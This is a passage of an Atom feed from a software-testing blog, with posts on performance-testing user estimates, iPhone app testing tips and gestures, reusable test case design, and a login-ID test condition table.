The following technology gaps were identified&amp;nbsp; in most organization:&lt;/div&gt;
&lt;div style=&quot;color: black; margin-bottom: 0in;&quot;&gt;
1.No consensus on durability tests and performance levels in organization&lt;/div&gt;
&lt;div style=&quot;color: black; margin-bottom: 0in;&quot;&gt;
2.No standardized tests for comparison of optical effectiveness and clarity of application functionality&lt;/div&gt;
&lt;div style=&quot;color: black; margin-bottom: 0in;&quot;&gt;
3.No comprehensive specifications or guidance regarding Application requirements&lt;/div&gt;
&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://testingsaraswat.blogspot.com/feeds/2789828873464287865/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://testingsaraswat.blogspot.com/2012/04/requirements-analysis-quick-view_24.html#comment-form' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6016883797447015575/posts/default/2789828873464287865'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6016883797447015575/posts/default/2789828873464287865'/><link rel='alternate' type='text/html' href='http://testingsaraswat.blogspot.com/2012/04/requirements-analysis-quick-view_24.html' title='Requirements Analysis A quick View'/><author><name>Prabhanshu saraswat</name><uri>http://www.blogger.com/profile/14945080239084113508</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6016883797447015575.post-1937112073173362465</id><published>2012-04-03T13:55:00.002+05:30</published><updated>2012-04-04T14:53:25.624+05:30</updated><category scheme="http://www.blogger.com/atom/ns#" term="Performance testing"/><title type='text'>How to trace Simultaneous User in performance testing</title><content type='html'>&lt;div dir=&quot;ltr&quot; style=&quot;text-align: left;&quot; trbidi=&quot;on&quot;&gt;&lt;br /&gt;
&lt;u&gt;&lt;b&gt;Requirement:&lt;/b&gt;&lt;/u&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;span style=&quot;color: blue;&quot;&gt;1&lt;b&gt;. Monthly Users: (50% of total Estimated)&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: blue;&quot;&gt;• Users are expected to login when they purchase&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: blue;&quot;&gt;• Purchase Cycles are spread over 20 days in a month&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: blue;&quot;&gt;• Customers are in a single Time Zone&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: blue;&quot;&gt;• Access Times each day is divided over a 4 hour interval (5pm – 9pm) at 50%&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: blue;&quot;&gt;• 4 Hour Interval to be distributed at 15-50-25-10 with a peak of 50% (meaning the traffic is a bell curve with a maximum anticipated load of 50% users to be on the system at a given hour.&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: blue;&quot;&gt;• Remaining 30% spread over the day (at work, work at home) over a 10 hour day.&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: blue;&quot;&gt;• User Session Takes an Average of 2-5 Minutes depending on user type/class&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;span style=&quot;color: blue;&quot;&gt;&lt;b&gt;2. Weekly Users: (20% of total Estimated)&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: blue;&quot;&gt;• Users are expected to login on the weekend to check their usage&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: blue;&quot;&gt;• Access Time distribution over 10 hour period&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: blue;&quot;&gt;• Bell Curve is not necessary for this User Type&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;span style=&quot;color: blue;&quot;&gt;&lt;b&gt;3. Daily Users: (20% of total Estimated) – These are the users that want to improve their usage and control costs.&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: blue;&quot;&gt;• Access Time distribution over 4 hour period&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: blue;&quot;&gt;• Users have a smaller Transactions list&lt;/span&gt;&lt;br /&gt;
&lt;b&gt;&lt;br style=&quot;color: purple;&quot; /&gt;&lt;/b&gt;&lt;br /&gt;
&lt;span style=&quot;color: purple;&quot;&gt;&lt;b&gt;Calculation Equation:&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: #073763;&quot;&gt;Where K is the Required User Usage:&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: #073763;&quot;&gt;the 50% are spread over 20 days and the weekly are spread over 2 days) and that only 50% of the 60% are active in the peak after work period &lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: #073763;&quot;&gt;so I get&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;span style=&quot;color: #073763;&quot;&gt;((((K * 0.5 Monthly)/20 days) * 0.6 weight * 0.5 peak)) / (60 Minutes * 5 Minute Session)) +&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: #073763;&quot;&gt;((K * 0.2 Weekly)/2 days)) / (10 hours * (60 Minutes * 5 Minute Session))) +&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: #073763;&quot;&gt;(((K * 0.1 Daily))) / (4 hours * (60 Minutes * 5 Minute Session)))&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;&lt;span style=&quot;background-color: lime;&quot;&gt;&amp;nbsp;10,000 Users : 1.196 Simultaneous Users&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://testingsaraswat.blogspot.com/feeds/1937112073173362465/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://testingsaraswat.blogspot.com/2012/04/how-to-trace-simultaneous-user-in.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6016883797447015575/posts/default/1937112073173362465'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6016883797447015575/posts/default/1937112073173362465'/><link rel='alternate' type='text/html' href='http://testingsaraswat.blogspot.com/2012/04/how-to-trace-simultaneous-user-in.html' title='How to trace Simultaneous User in performance testing'/><author><name>Prabhanshu saraswat</name><uri>http://www.blogger.com/profile/14945080239084113508</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6016883797447015575.post-8331718256629879754</id><published>2012-01-16T17:25:00.001+05:30</published><updated>2012-08-13T10:48:35.513+05:30</updated><category scheme="http://www.blogger.com/atom/ns#" term="Iphone testing"/><title type='text'>I-Phone testing tips -A perception</title><content type='html'>&lt;div dir=&quot;ltr&quot; style=&quot;text-align: left;&quot; trbidi=&quot;on&quot;&gt;&lt;div style=&quot;color: blue;&quot;&gt;&lt;span name=&quot;KonaFilter&quot;&gt;&lt;b&gt;writer: Dear pearl! what do you think about kite?&lt;/b&gt;  &lt;b&gt;&amp;nbsp;&lt;/b&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;color: blue;&quot;&gt;&lt;span name=&quot;KonaFilter&quot;&gt;&lt;b&gt;Pearl : I have &amp;nbsp;no space to fly kite.&lt;/b&gt;&amp;nbsp;&lt;/span&gt;&lt;/div&gt;&lt;span name=&quot;KonaFilter&quot;&gt; &lt;b style=&quot;color: blue;&quot;&gt;writer : you can fly a kite from your bedroom window, but you need to focus on air flow.&lt;/b&gt;  &lt;/span&gt;&lt;br /&gt;
&lt;div style=&quot;color: #4c1130;&quot;&gt;&lt;span name=&quot;KonaFilter&quot;&gt;Mobile(I-Phone) application&lt;a href=&quot;http://www.blogger.com/goog_508254937&quot;&gt; &lt;/a&gt;testing is just about perception , how much resourse utilization can be made.&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;color: #4c1130;&quot;&gt;&lt;span name=&quot;KonaFilter&quot;&gt;I  Phone have not so much memory and higher processing speed like personal  computers. Graphics and design are major key point for success of  application. Either controllers are designed&amp;nbsp; to get higher performance  of application, but graphics type, image size,pixel and formats are  more&amp;nbsp; specific point of consideration. Like web application ,we can not  provide more text as information.&lt;/span&gt;&lt;br /&gt;
&lt;span name=&quot;KonaFilter&quot;&gt;we can use &lt;b&gt; Alert &lt;/b&gt; for specific data(text) message. if it is necessary to provide more information&amp;nbsp; , then text view can be used. &lt;b&gt;Text view&lt;/b&gt; also provide functionality to edit text.&lt;/span&gt;&lt;br /&gt;
&lt;span name=&quot;KonaFilter&quot;&gt;always remember text message should be specific and limited,precise and specific. Message should be inferable also.&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;color: #4c1130;&quot;&gt;&lt;span name=&quot;KonaFilter&quot;&gt;&lt;br /&gt;
&lt;/span&gt; &lt;span name=&quot;KonaFilter&quot;&gt;Icon  size or should be finger tip size , consider subtly customization of  controls, hence controls can be integrate with application graphics  style.&lt;/span&gt;&lt;br /&gt;
&lt;span name=&quot;KonaFilter&quot;&gt;major functions should be&amp;nbsp; at top of the application hence user will able to access them easily.&lt;/span&gt;&lt;br /&gt;
&lt;span name=&quot;KonaFilter&quot;&gt;&lt;br /&gt;
&lt;/span&gt; &lt;span name=&quot;KonaFilter&quot;&gt;More  focus on contents and feature which is necessary for end user.&amp;nbsp;  Application UI only important&amp;nbsp; more if it Gaming or other entertainment  application, but if it is Business application ,business functions  become critical part of success for application.&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://testingsaraswat.blogspot.com/feeds/8331718256629879754/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://testingsaraswat.blogspot.com/2012/01/writer-dear-pearl-what-do-you-think.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6016883797447015575/posts/default/8331718256629879754'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6016883797447015575/posts/default/8331718256629879754'/><link rel='alternate' type='text/html' href='http://testingsaraswat.blogspot.com/2012/01/writer-dear-pearl-what-do-you-think.html' title='I-Phone testing tips -A perception'/><author><name>Prabhanshu saraswat</name><uri>http://www.blogger.com/profile/14945080239084113508</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6016883797447015575.post-93715863326240490</id><published>2011-12-19T18:04:00.000+05:30</published><updated>2011-12-19T18:18:13.614+05:30</updated><category scheme="http://www.blogger.com/atom/ns#" term="I-PHONE"/><title type='text'>I-PHONE Testing Basic</title><content type='html'>&lt;div dir=&quot;ltr&quot; style=&quot;text-align: left;&quot; trbidi=&quot;on&quot;&gt;&lt;br /&gt;
&lt;div style=&quot;color: blue; margin-bottom: 0in;&quot;&gt;&lt;b&gt;Writer :Dear Perl can you dance in different dance formats  &lt;/b&gt;&lt;/div&gt;&lt;div style=&quot;color: blue; margin-bottom: 0in;&quot;&gt;&lt;b&gt;Pearl :How can I do, I need to know about it gesture and forms.&lt;/b&gt;&lt;/div&gt;&lt;div style=&quot;color: blue; margin-bottom: 0in;&quot;&gt;&lt;b&gt;Writer : Right ! To do testing over  I Phone application, we should know about its own guidelines given for user application.&lt;/b&gt;&lt;/div&gt;&lt;div style=&quot;margin-bottom: 0in;&quot;&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhNGLsvPYjLPdFv8WWfvWADtgCvW1seuWKkJ_vB6icDXRT2H4sIWbskasTwoF6Ls7Cg5GwaIqwGEtWAnAsw6GIhuXGOyCAPU6d9dYi0T-hhZPYd7S2KisXS-aCmlM7a93DnbNNseogo8e0/s1600/iphone-keyboard.jpg&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;320&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhNGLsvPYjLPdFv8WWfvWADtgCvW1seuWKkJ_vB6icDXRT2H4sIWbskasTwoF6Ls7Cg5GwaIqwGEtWAnAsw6GIhuXGOyCAPU6d9dYi0T-hhZPYd7S2KisXS-aCmlM7a93DnbNNseogo8e0/s320/iphone-keyboard.jpg&quot; width=&quot;300&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div style=&quot;margin-bottom: 0in;&quot;&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div style=&quot;margin-bottom: 0in;&quot;&gt;Always follow the guidelines for I Phone application:&lt;/div&gt;&lt;div style=&quot;margin-bottom: 0in;&quot;&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div style=&quot;color: #4c1130; margin-bottom: 0in;&quot;&gt;&lt;b&gt;Aesthetic Integrity:&lt;/b&gt; This means how much efficiently integrated function of applications are working. this never mean tester should not care about beauty of application. testers should realize functionality of application is more precious than its UI.&lt;/div&gt;&lt;div style=&quot;color: #4c1130; margin-bottom: 0in;&quot;&gt;&lt;b&gt;Consistency: &lt;/b&gt;Applications are designed in same manner. application have same approach of handling. uniqueness of Text graphics and icon are more beautiful than glitter text. every time icons have same meaning in application and follow the iOS compliance. base line of product can not be changed in new built.&lt;/div&gt;&lt;div style=&quot;color: #4c1130; margin-bottom: 0in;&quot;&gt;&lt;b&gt;Direct Manipulation: &lt;/b&gt;Multi touch gesture provide great sense of touching in splendid way. multiple action and there true visibility is essence of I Phone  application.&lt;/div&gt;&lt;div style=&quot;color: #4c1130; margin-bottom: 0in;&quot;&gt;&lt;b&gt;User Control:&lt;/b&gt;People expect to have ample opportunity to cancel an operation before it begins, and they expect to get a chance to confirm their intention to perform a potentially destructive action. Finally, people expect to be able to gracefully stop an operation that’s underway.&lt;/div&gt;&lt;div style=&quot;color: #4c1130; margin-bottom: 0in;&quot;&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div style=&quot;color: #4c1130; margin-bottom: 0in;&quot;&gt;Gesture used in I Phone.&lt;/div&gt;&lt;div style=&quot;color: #4c1130;&quot;&gt;&lt;b&gt;&lt;u&gt;Gesture&lt;/u&gt;   Action&lt;/b&gt;&lt;/div&gt;&lt;div style=&quot;color: #4c1130;&quot;&gt;&lt;u&gt;&lt;b&gt;Tap&lt;/b&gt;&lt;/u&gt;   To press or select a control or item (analogous to a single mouse click).&lt;/div&gt;&lt;div style=&quot;color: #4c1130;&quot;&gt;&lt;u&gt;&lt;b&gt;Drag&lt;/b&gt;&lt;/u&gt;   To scroll or pan (that is, move side to side).To drag an element.&lt;/div&gt;&lt;div style=&quot;color: #4c1130;&quot;&gt;&lt;b&gt;&lt;u&gt;Flick&lt;/u&gt;   &lt;/b&gt;To scroll or pan quickly.&lt;/div&gt;&lt;div style=&quot;color: #4c1130;&quot;&gt;&lt;u&gt;&lt;b&gt;Swipe&lt;/b&gt;   &lt;/u&gt;With one finger, to reveal the Delete button in a table-view row or to reveal    Notification Center (from the top edge of the screen).&lt;/div&gt;&lt;div style=&quot;color: #4c1130;&quot;&gt;With four fingers, to switch between apps on iPad.&lt;/div&gt;&lt;div style=&quot;color: #4c1130;&quot;&gt;&lt;u&gt;&lt;b&gt;Double tap&lt;/b&gt;&lt;/u&gt;   To zoom in and center a block of content or an image.&lt;/div&gt;&lt;div style=&quot;color: #4c1130;&quot;&gt;To zoom out (if already zoomed in).&lt;/div&gt;&lt;div style=&quot;color: #4c1130;&quot;&gt;&lt;b&gt;&lt;u&gt;Pinch&lt;/u&gt; &lt;/b&gt;  Pinch open to zoom in.&lt;/div&gt;&lt;div style=&quot;color: #4c1130;&quot;&gt;&lt;u&gt;&lt;b&gt;Pinch&lt;/b&gt;&lt;/u&gt;    close to zoom out.&lt;/div&gt;&lt;div style=&quot;color: #4c1130;&quot;&gt;&lt;u&gt;&lt;b&gt;Touch and hold&lt;/b&gt;&lt;/u&gt;  In editable or selectable text, to display a magnified view for cursor positioning.&lt;/div&gt;&lt;div style=&quot;color: #4c1130;&quot;&gt;&lt;u&gt;&lt;b&gt;Shake&lt;/b&gt; &lt;/u&gt;  To initiate an undo or redo action.&lt;/div&gt;&lt;div style=&quot;margin-bottom: 0in;&quot;&gt;&lt;br /&gt;
&lt;/div&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://testingsaraswat.blogspot.com/feeds/93715863326240490/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://testingsaraswat.blogspot.com/2011/12/i-phone-testing-basic.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6016883797447015575/posts/default/93715863326240490'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6016883797447015575/posts/default/93715863326240490'/><link rel='alternate' type='text/html' href='http://testingsaraswat.blogspot.com/2011/12/i-phone-testing-basic.html' title='I-PHONE Testing Basic'/><author><name>Prabhanshu saraswat</name><uri>http://www.blogger.com/profile/14945080239084113508</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhNGLsvPYjLPdFv8WWfvWADtgCvW1seuWKkJ_vB6icDXRT2H4sIWbskasTwoF6Ls7Cg5GwaIqwGEtWAnAsw6GIhuXGOyCAPU6d9dYi0T-hhZPYd7S2KisXS-aCmlM7a93DnbNNseogo8e0/s72-c/iphone-keyboard.jpg" height="72" width="72"/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6016883797447015575.post-4441313725390609058</id><published>2011-11-17T12:27:00.002+05:30</published><updated>2012-07-16T13:41:16.323+05:30</updated><title type='text'>Key points to write  reusable test case</title><content type='html'>&lt;div dir=&quot;ltr&quot; style=&quot;text-align: left;&quot; trbidi=&quot;on&quot;&gt;&lt;div style=&quot;color: black; text-align: left;&quot;&gt;&lt;br /&gt;
&lt;div style=&quot;margin-bottom: 0in;&quot;&gt;Reusable test case&amp;nbsp; design is bit complex task. Tester put efforts on maximum specification coverage of test case. For  a simple project tester writes thousands of test case. Some time it become difficult to find out reusable test case.&lt;/div&gt;&lt;div style=&quot;margin-bottom: 0in;&quot;&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgcTir_8IJgvVah68bmSC1hKmON6ZJ-j3IiPI8JlNtaE7w1bo1DlPOXXMz2S8sVNfL_5upTmUZUY1D_qubINVsMjEKvzRMkhhyphenhyphensVIls6E-mf4GNIU3Nm2_6MzxM23Sd9ePZVi_ipwVN37w/s1600/reusable.jpg&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;180&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgcTir_8IJgvVah68bmSC1hKmON6ZJ-j3IiPI8JlNtaE7w1bo1DlPOXXMz2S8sVNfL_5upTmUZUY1D_qubINVsMjEKvzRMkhhyphenhyphensVIls6E-mf4GNIU3Nm2_6MzxM23Sd9ePZVi_ipwVN37w/s320/reusable.jpg&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div style=&quot;margin-bottom: 0in;&quot;&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div style=&quot;margin-bottom: 0in;&quot;&gt;Test case writing is discipline approach for maximum benefit with less effort.  &lt;/div&gt;&lt;div style=&quot;margin-bottom: 0in;&quot;&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div style=&quot;margin-bottom: 0in;&quot;&gt;Key features  for test case&lt;/div&gt;&lt;div style=&quot;margin-bottom: 0in;&quot;&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div style=&quot;margin-bottom: 0in;&quot;&gt;&lt;/div&gt;&lt;ul&gt;&lt;li value=&quot;1&quot;&gt;&lt;div style=&quot;margin-bottom: 0in;&quot;&gt;Specific to requirement&lt;/div&gt;&lt;/li&gt;
&lt;li&gt;&lt;div style=&quot;margin-bottom: 0in;&quot;&gt;Modularize&lt;/div&gt;&lt;/li&gt;
&lt;li&gt;&lt;div style=&quot;margin-bottom: 0in;&quot;&gt;Descriptive&lt;/div&gt;&lt;/li&gt;
&lt;li&gt;&lt;div style=&quot;margin-bottom: 0in;&quot;&gt;Easy and understandable&lt;/div&gt;&lt;/li&gt;
&lt;li&gt;&lt;div style=&quot;margin-bottom: 0in;&quot;&gt;Clear objective&lt;/div&gt;&lt;/li&gt;
&lt;li&gt;&lt;div style=&quot;margin-bottom: 0in;&quot;&gt;Clearly define Pass/fail criteria&lt;/div&gt;&lt;/li&gt;
&lt;/ul&gt;&lt;div style=&quot;margin-bottom: 0in;&quot;&gt;I would like to  prefer design of application based on specification. Test can modularize their test cases.&lt;/div&gt;&lt;div style=&quot;margin-bottom: 0in;&quot;&gt;Modular approach will provide function reusable of test case.  &lt;/div&gt;&lt;/div&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://testingsaraswat.blogspot.com/feeds/4441313725390609058/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://testingsaraswat.blogspot.com/2011/11/poem.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6016883797447015575/posts/default/4441313725390609058'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6016883797447015575/posts/default/4441313725390609058'/><link rel='alternate' type='text/html' href='http://testingsaraswat.blogspot.com/2011/11/poem.html' title='Key points to write  reusable test case'/><author><name>Prabhanshu saraswat</name><uri>http://www.blogger.com/profile/14945080239084113508</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgcTir_8IJgvVah68bmSC1hKmON6ZJ-j3IiPI8JlNtaE7w1bo1DlPOXXMz2S8sVNfL_5upTmUZUY1D_qubINVsMjEKvzRMkhhyphenhyphensVIls6E-mf4GNIU3Nm2_6MzxM23Sd9ePZVi_ipwVN37w/s72-c/reusable.jpg" height="72" width="72"/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6016883797447015575.post-4082273600571848364</id><published>2011-11-17T11:59:00.000+05:30</published><updated>2011-11-17T12:00:37.475+05:30</updated><category scheme="http://www.blogger.com/atom/ns#" term="Login window"/><title type='text'>Test Condition for Login Window</title><content type='html'>&lt;div dir=&quot;ltr&quot; style=&quot;text-align: left;&quot; trbidi=&quot;on&quot;&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;color: blue;&quot;&gt;&lt;b&gt;If &amp;nbsp;Login Id is &amp;nbsp;alpha numeric with maximum 12 Login and first 2 letter should be alphabets&amp;nbsp;&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;
&lt;div style=&quot;margin-bottom: 0in;&quot;&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;color: #6aa84f;&quot;&gt;&lt;b&gt;&amp;nbsp;Condition for Login Id &lt;/b&gt;&lt;/span&gt;&lt;/div&gt;&lt;table border=&quot;1&quot; bordercolor=&quot;#000000&quot; cellpadding=&quot;7&quot; cellspacing=&quot;0&quot; style=&quot;width: 639px;&quot;&gt;&lt;colgroup&gt;&lt;col width=&quot;85&quot;&gt;&lt;/col&gt;  &lt;col width=&quot;76&quot;&gt;&lt;/col&gt;  &lt;col width=&quot;76&quot;&gt;&lt;/col&gt;  &lt;col width=&quot;76&quot;&gt;&lt;/col&gt;  &lt;col width=&quot;75&quot;&gt;&lt;/col&gt;  &lt;col width=&quot;76&quot;&gt;&lt;/col&gt;  &lt;col width=&quot;76&quot;&gt;&lt;/col&gt;  &lt;/colgroup&gt;&lt;tbody&gt;
&lt;tr valign=&quot;TOP&quot;&gt;   &lt;td width=&quot;85&quot;&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-size: x-small;&quot;&gt;Condition     &lt;/span&gt;&lt;/td&gt;   &lt;td width=&quot;76&quot;&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-size: x-small;&quot;&gt;1&lt;/span&gt;&lt;/td&gt;   &lt;td width=&quot;76&quot;&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-size: x-small;&quot;&gt;2&lt;/span&gt;&lt;/td&gt;   &lt;td width=&quot;76&quot;&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-size: x-small;&quot;&gt;3&lt;/span&gt;&lt;/td&gt;   &lt;td width=&quot;75&quot;&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-size: x-small;&quot;&gt;4&lt;/span&gt;&lt;/td&gt;   &lt;td width=&quot;76&quot;&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-size: x-small;&quot;&gt;5&lt;/span&gt;&lt;/td&gt;   &lt;td width=&quot;76&quot;&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-size: x-small;&quot;&gt;6&lt;/span&gt;&lt;/td&gt;  &lt;/tr&gt;
&lt;tr valign=&quot;TOP&quot;&gt;   &lt;td width=&quot;85&quot;&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-size: x-small;&quot;&gt;Character&lt;/span&gt;&lt;/td&gt;   &lt;td width=&quot;76&quot;&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-size: x-small;&quot;&gt;Y&lt;/span&gt;&lt;/td&gt;   &lt;td width=&quot;76&quot;&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-size: x-small;&quot;&gt;Y&lt;/span&gt;&lt;/td&gt;   &lt;td width=&quot;76&quot;&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-size: x-small;&quot;&gt;N&lt;/span&gt;&lt;/td&gt;   &lt;td width=&quot;75&quot;&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-size: x-small;&quot;&gt;N&lt;/span&gt;&lt;/td&gt;   &lt;td width=&quot;76&quot;&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-size: x-small;&quot;&gt;N&lt;/span&gt;&lt;/td&gt;   &lt;td width=&quot;76&quot;&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-size: x-small;&quot;&gt;N&lt;/span&gt;&lt;/td&gt;  &lt;/tr&gt;
&lt;tr valign=&quot;TOP&quot;&gt;   &lt;td width=&quot;85&quot;&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-size: x-small;&quot;&gt;Alphanumeric&lt;/span&gt;&lt;/td&gt;   &lt;td width=&quot;76&quot;&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-size: x-small;&quot;&gt;-&lt;/span&gt;&lt;/td&gt;   &lt;td width=&quot;76&quot;&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-size: x-small;&quot;&gt;-&lt;/span&gt;&lt;/td&gt;   &lt;td width=&quot;76&quot;&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-size: x-small;&quot;&gt;N&lt;/span&gt;&lt;/td&gt;   &lt;td width=&quot;75&quot;&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-size: x-small;&quot;&gt;Y&lt;/span&gt;&lt;/td&gt;   &lt;td width=&quot;76&quot;&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-size: x-small;&quot;&gt;Y&lt;/span&gt;&lt;/td&gt;   &lt;td width=&quot;76&quot;&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-size: x-small;&quot;&gt;Y&lt;/span&gt;&lt;/td&gt;  &lt;/tr&gt;
&lt;tr valign=&quot;TOP&quot;&gt;   &lt;td width=&quot;85&quot;&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-size: x-small;&quot;&gt;First 2 letter should be alpha&lt;/span&gt;&lt;/td&gt;   &lt;td width=&quot;76&quot;&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-size: x-small;&quot;&gt;-&lt;/span&gt;&lt;/td&gt;   &lt;td width=&quot;76&quot;&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-size: x-small;&quot;&gt;-&lt;/span&gt;&lt;/td&gt;   &lt;td width=&quot;76&quot;&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-size: x-small;&quot;&gt;-&lt;/span&gt;&lt;/td&gt;   &lt;td width=&quot;75&quot;&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-size: x-small;&quot;&gt;N&lt;/span&gt;&lt;/td&gt;   &lt;td width=&quot;76&quot;&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-size: x-small;&quot;&gt;y&lt;/span&gt;&lt;/td&gt;   &lt;td width=&quot;76&quot;&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-size: x-small;&quot;&gt;Y&lt;/span&gt;&lt;/td&gt;  &lt;/tr&gt;
